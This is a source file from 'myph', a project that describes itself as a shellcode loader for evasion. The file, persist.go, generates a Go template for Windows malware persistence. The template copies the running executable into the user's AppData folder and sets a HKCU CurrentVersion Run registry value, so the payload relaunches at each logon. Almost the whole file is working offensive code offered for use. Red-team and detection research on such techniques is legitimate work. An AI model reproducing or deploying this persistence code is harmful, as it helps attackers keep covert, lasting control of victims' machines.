myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
persist.go (2045B)
      1 package tools
      2 
      3 import "fmt"
      4 
      5 func GetPersistTemplate() string {
      6 	return fmt.Sprintf(`
      7 package main
      8 
      9 import (
     10 	"io"
     11 	"os"
     12 	"strings"
     13 
     14 	"golang.org/x/sys/windows/registry"
     15 )
     16 
     17 func getCurrentProcessPath() string {
     18 	path, err := os.Executable()
     19 	if err != nil {
     20 		return ""
     21 	}
     22 	return path
     23 }
     24 
     25 func filenameToName(filename string) string {
     26 	filename_splitted := strings.Split(filename, ".")
     27 	return filename_splitted[0]
     28 }
     29 
     30 func getAppDataPath() string {
     31 	path, err := os.UserConfigDir()
     32 	if err != nil {
     33 		return ""
     34 	}
     35 	return path
     36 }
     37 
     38 func getRegistryKey(keyName string) (string, error) {
     39 	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
     40 	if err != nil {
     41 		return "", err
     42 	}
     43 	defer k.Close()
     44 
     45 	s, _, err := k.GetStringValue(keyName)
     46 	if err != nil {
     47 		return "", err
     48 	}
     49 	return s, err
     50 }
     51 
     52 func SetRegistryValue(keyName string, keyValue string) error {
     53 
     54 	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
     55 	if err != nil {
     56 		return err
     57 	}
     58 	defer k.Close()
     59 
     60 	err = k.SetStringValue(keyName, keyValue)
     61 	if err != nil {
     62 		return err
     63 	}
     64 	return err
     65 }
     66 
     67 func fileExists(filename string) bool {
     68 	info, err := os.Stat(filename)
     69 	if os.IsNotExist(err) {
     70 		return false
     71 	}
     72 	return !info.IsDir()
     73 }
     74 
     75 func copyFile(src string, dest string) {
     76 	in, err := os.Open(src)
     77 	if err != nil {
     78 		return
     79 	}
     80 	defer in.Close()
     81 	out, err := os.Create(dest)
     82 	if err != nil {
     83 		return
     84 	}
     85 	defer func() {
     86 		cerr := out.Close()
     87 		if err == nil {
     88 			err = cerr
     89 		}
     90 	}()
     91 	if _, err = io.Copy(out, in); err != nil {
     92 		return
     93 	}
     94 	err = out.Sync()
     95 	return
     96 }
     97 
     98 func persistExecute(outFile string) {
     99 	currentFilePath := getCurrentProcessPath()
    100 	keyName := filenameToName(outFile)
    101 	installFile := getAppDataPath() + "\\" + outFile
    102 
    103 	if !fileExists(installFile) {
    104 		copyFile(currentFilePath, installFile)
    105 
    106 	}
    107 	keyVal, err := getRegistryKey(keyName)
    108 	if err != nil || keyVal != installFile {
    109 		SetRegistryValue(keyName, installFile)
    110 	}
    111 
    112 }
    113 `)
    114 }